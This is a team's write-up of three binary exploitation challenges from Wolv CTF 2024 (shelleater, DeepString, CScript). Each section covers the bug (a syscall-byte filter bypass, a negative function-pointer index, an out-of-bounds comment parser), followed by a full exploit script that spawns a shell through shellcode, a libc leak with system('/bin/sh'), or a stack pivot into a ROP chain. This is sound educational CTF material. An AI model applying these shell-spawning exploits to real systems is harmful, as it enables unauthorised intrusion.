Published at

Wolv CTF 2024 pwn writeup

Pwn challenges writeup from Wolv CTF 2024. The Pwn challenges were beginner friendly with an interesting challenge CString.

Table of Contents

Our team ranked #1st place in this CTF.

Wolv CTF 2024 scoreboard
And yes i designed this scoreboard :joy:


shelleater

  • Description : go ahead, give me a shell >;)
  • Challenge Files: GitHub Repository
  • Solves : 82
  • Points : 100

Checksec

Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments

Overview

This is a shellcoding challenge and executes the user provided shellcode and there is no seccomp. The only catch is that \x0f\x05 bytes which is the syscall bytes are blocked and \x80 byte is blocked.

void start()
void main
{
  char shellcode[100];

  v0 = sys_write(1, &out_stmt, 0x11uLL);
  v1 = sys_read(0, shellcode, 0x64uLL);
  for ( i = 0LL; i != 0x60; ++i )
  {
    if ( shellcode[i] == 0x50F )
      goto read_bytes_fail;
  }
  idx = 0LL;
  while ( shellcode[idx] != 0x80 )
  {
    if ( ++idx == 98 )
      __asm { jmp     rsp }
  }
read_bytes_fail:
  v4 = sys_write(1, fail_stmt, 0x10uLL);
  v5 = sys_exit(0);
}

Bug

The motive of the author was to make the players write a self modifying shellcode such as in DeathNote chalenge from pwnable.tw. But the binary itself is using syscall instruction so we can use jmp syscall_addr to bypass the bad bytes restriction to use syscall. The author could have enabled PIE during compilation. :wink:

Exploit

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Author := 4n0nym4u5

from rootkit import *
from rootkit.exploit import *
from time import sleep

exe = context.binary = ELF("./shelleater")
host = (
    args.HOST
    or "shelleater.wolvctf.io"
)
port = int(args.PORT or 1337)

gdbscript = """
tbreak main
continue
""".format(
    **locals()
)

libc = SetupLibcELF()
# libc = ELF("./libc.so.6")

io = start()
re()

payload = asm("""
    xor rsi,rsi
    push rsi
    mov rdi,0x68732f2f6e69622f
    push rdi
    push rsp
    pop rdi
    push 59
    pop rax
    cdq
    push 0x00000000401000; pie base+0x1000
    pop rcx
    add rcx, 0x19;         offset
    jmp rcx;               do syscall

""")

sl(payload)

io.interactive()

DeepString

  • Description : I had DeepThought running, but Wolphv reprogrammed it so that it now only performs string functions…
  • Challenge Files: GitHub Repository
  • Solves : 44
  • Points : 369

Checksec

Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b’./‘

Overview

in the main() function we can see there is a array which stores function pointers to these 4 functions.

  func_arr[0] = length;
  func_arr[1] = to_lower;
  func_arr[2] = to_upper;
  func_arr[3] = reverse;

and then it asks for our choice and executes that function

  while ( 1 )
  {
    puts("Choose a function:\n 0) length\n 1) to_lower\n 2) to_upper\n 3) reverse\n");
    __isoc99_scanf("%d", &choice);
    if ( choice > 3 )
      break;
    fn_call(choice, func_arr);
  }

Bug

We can note that the choice can go negative.

  void fn_call(int choice, void (__fastcall *(**func_arr)[10])(int))
{
  char our_input[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Provide your almighty STRING: ");
  fflush(stdout);
  fgets(our_input, 256, stdin);
  fgets(our_input, 256, stdin);
  our_input[256] = 0;
  (func_arr[choice])(our_input); // bug
  return __readfsqword(0x28u) ^ v4;
}

So if the choice can go negative. Then we can call any functions that were pushed on the stack earlier. To inspect this i setup breakpoint during the func_arr call and looked at the stack with telescope. Also the first fgets is useless. We have only one input here. The first fgets is to just to handle the newline character from previous input… weird. In this case the choice is 0.

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x7fffffffdbc0 ◂— 'aaaaaaaa\n'
 RBX  0x7fffffffde38 —▸ 0x7fffffffe185 ◂— '/home/arjun/CTF/wolv/pwn3/DeepString'
 RCX  0x7fffffffdbc0 ◂— 'aaaaaaaa\n'
 RDX  0x7ffff7e59ada (puts+346) ◂— cmp eax, -1
*RDI  0x7fffffffdbc0 ◂— 'aaaaaaaa\n'
 RSI  0x7ffff7fb4b03 (_IO_2_1_stdin_+131) ◂— 0xfb6a20000000000a /* '\n' */
 R8   0x1
 R9   0x0
 R10  0x7ffff7deb0c0 ◂— 0x100022000048ef
 R11  0x246
 R12  0x0
 R13  0x7fffffffde48 —▸ 0x7fffffffe1aa ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
 R14  0x0
 R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2f0 ◂— 0x0
 RBP  0x7fffffffdcd0 —▸ 0x7fffffffdd20 ◂— 0x1
 RSP  0x7fffffffdbb0 —▸ 0x7fffffffdcf0 —▸ 0x4011c2 (length) ◂— push rbp
*RIP  0x4014ed (fn_call+161) ◂— call rdx
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   0x4014d6 <fn_call+138>    mov    rax, qword ptr [rbp - 0x120]
   0x4014dd <fn_call+145>    add    rax, rdx
   0x4014e0 <fn_call+148>    mov    rdx, qword ptr [rax]
   0x4014e3 <fn_call+151>    lea    rax, [rbp - 0x110]
   0x4014ea <fn_call+158>    mov    rdi, rax
0x4014ed <fn_call+161>    call   rdx                           <puts+346>
        rdi: 0x7fffffffdbc0 ◂— 'aaaaaaaa\n'
        rsi: 0x7ffff7fb4b03 (_IO_2_1_stdin_+131) ◂— 0xfb6a20000000000a /* '\n' */
        rdx: 0x7ffff7e59ada (puts+346) ◂— cmp eax, -1
        rcx: 0x7fffffffdbc0 ◂— 'aaaaaaaa\n'
 
   0x4014ef <fn_call+163>    nop    
   0x4014f0 <fn_call+164>    mov    rax, qword ptr [rbp - 8]
   0x4014f4 <fn_call+168>    xor    rax, qword ptr fs:[0x28]
   0x4014fd <fn_call+177>    je     fn_call+184                      <fn_call+184>
 
   0x4014ff <fn_call+179>    call   __stack_chk_fail@plt                      <__stack_chk_fail@plt>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000rsp         0x7fffffffdbb0 —▸ 0x7fffffffdcf0 —▸ 0x4011c2 (length) ◂— push rbp
01:00080x7fffffffdbb8 ◂— 0xfffffff5a26a1200
02:0010rax rcx rdi 0x7fffffffdbc0 ◂— 'aaaaaaaa\n'
03:00180x7fffffffdbc8 —▸ 0x7fffffff000a ◂— 0x0
04:00200x7fffffffdbd0 ◂— 0x0
05:00280x7fffffffdbd8 —▸ 0x7fffffffde48 —▸ 0x7fffffffe1aa ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
06:00300x7fffffffdbe0 ◂— 0x0
07:00380x7fffffffdbe8 —▸ 0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2f0 ◂— 0x0
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0         0x4014ed fn_call+161
   1         0x401606 main+256
   2   0x7ffff7e0924a
   3   0x7ffff7e09305 __libc_start_main+133
   4         0x40110a _start+42

I chose to call puts+346 by using -11 as my choice as it ends up like this.

0x7ffff7e59aa2 <puts+290> add rsp, 0x10 0x7ffff7e59aa6 <puts+294> pop rbx 0x7ffff7e59aa7 <puts+295> pop rbp 0x7ffff7e59aa8 <puts+296> pop r12 0x7ffff7e59aaa <puts+298> pop r13 0x7ffff7e59aac <puts+300> pop r14 0x7ffff7e59aae <puts+302> ret

So with these pop instructions we can turn this into ROP. And after the pops we can set rip within our control, and RDI points to our input.

Exploit

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Author := 4n0nym4u5

from rootkit import *
from rootkit.exploit import *
from time import sleep

exe = context.binary = ELF("./DeepString")
host = (
    args.HOST
    or "deepstring.wolvctf.io"
)
port = int(args.PORT or 1337)

gdbscript = """
tbreak main
b *0x4014ed
continue
continue

""".format(
    **locals()
)

libc = SetupLibcELF()

io = start()


reu(b"reverse\n")
sl(b"-11")
rl()
sl(b"%p|" + b"A"*213 + p(exe.sym.printf)); Call printf with %p for libc leak
leak = GetInt(reu(b"|"))[0]
libc.address = leak-0x1d2b03
lb()

sl(b"-11")
rl()
sl(b"/bin/sh\x00" + b"A"*208 + p(libc.sym.system)); Call system with /bin/sh

io.interactive()

CString

  • Description : Scripting done right.
  • Challenge Files: GitHub Repository
  • Solves : 4
  • Points : 500

Checksec

Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)

This was a statically compiled c++ binary(hard). The bug was interesting and my team mates @IceCreamMan and @rycbar did the most part. They found the bug understood it and triggered it and IceCreamMan shared the PoC. The vulnerability lied in the argparse function where the input went to OOB when parsing comments. By using this primitive we were able to overwrite the structure of the parser to control its opcode and the arguments. He did a good job with fuzzing and reversing this. Meanwhile even i wrote a custom fuzzer got a lot of crashed but got skill issued and wasnt able to understand the root cause of the bug. :joy: As per he explained.

__int64 __fastcall skip_whitespace_and_comments(unsigned __int8 **input_string)
{
  __int64 result; // rax

  while ( 1 )
  {
    if ( **input_string != ' ' && **input_string != '\t' )
    {
      result = **input_string;
      if ( (_BYTE)result != '#' )
        break;                                  // [3] finally end here
    }
    if ( **input_string == '#' )                // [1] enter this branch
    {
      while ( **input_string != '\n' && **input_string != '\r' && **input_string )// [2] iterate until find \n or \r or \x00
        ++*input_string;
    }
    ++*input_string;
  }
  return result;
}

Later he came up with the PoC. Meanwhile rycbar found that we have an arbitrary function call and we control the parameter. The address of this is 0x4048DB

          v58 += 5;
          skip_whitespace_and_comments(&v58);
          if ( *v58 != '(' )
            goto LABEL_27;
          arg_parse(v93, ++v58, 44, 41);
          heap_obj = *std::vector<std::pair<object_t *,unsigned char *>>::operator[](v93, 0LL);
          std::vector<std::pair<object_t *,unsigned char *>>::~vector(v93);
          if ( heap_obj )
          {
            if ( heap_obj->func_ptr )
            {
              heap_obj->func_ptr(heap_obj->arg1);
            }
            else
            {
              switch ( heap_obj->opcode )
              {
                case 1:
                  puts(heap_obj->arg1);
                  break;
                case 2:
                  printf("%d\n", *heap_obj->arg1);
                  break;
                case 3:
                  printf("%d\n", *heap_obj->arg1);
                  break;
                default:
                  puts("Unknown type");
                  break;
              }
            }

So with this we can complete the exploit. My idea was to use the arbitrary function call primitive to stack pivot into heap(where our input is stored). And since its a statically compiled binary we have syscall instruction. So we can craft an execve payload.

# IceCreamMan's Poc
file_content = b'a = Store("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")'
sla(b'>>', file_content)

file_content = b"a,#"
sla(b'>>', file_content)

file_content = b"Print(a)"
sla(b'>>', file_content)

The binary crashes here with 0x4141414141414141 in RAX.

CScript function decompilation.

So the decompilation says that if we have a valid heap_obj->func_ptr then we proceed to call that. So i used this for the exploitation since it also take a argument from the heap_obj. We can now craft a fake heap_obj which func_ptr points to a pointer to xchg eax, esp; ret gadget and argument to the address of our ROP chain. The address of RDI and RAX is same so we can use eax as well instead of edi for stack pivot.

Exploit

#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Author := 4n0nym4u5

from rootkit import *
from rootkit.exploit import *
from time import sleep
import os
import base64

exe = context.binary = ELF("./CScript")
host = (
    args.HOST
    or "cscript.wolvctf.io"
    # or "0.0.0.0"
)
port = int(args.PORT or 1337)

gdbscript = """
b *0x4048ac
c
""".format(
    **locals()
)

libc = SetupLibcELF()

io = start()

heap_base = GetInt(rl())[0]

stack_pivot = gadget("xchg eax, esp; ret");

rop_chain = static_rop()

rop_addr = heap_base + 0x138bc

stack_pivot_gadget_ptr = heap_base + 0x138b4

padding = "A"*103

hb()

payload = f'a = Store("{padding}")'.encode() + p(stack_pivot_gadget_ptr-0x11) + p(rop_addr) + p(stack_pivot) + rop_chain
sla(b'>>', payload)

payload = b"a,#"
sla(b'>>', payload)

payload = b"Print(a)"
sla(b'>>', payload)

io.interactive()
Sharing is caring!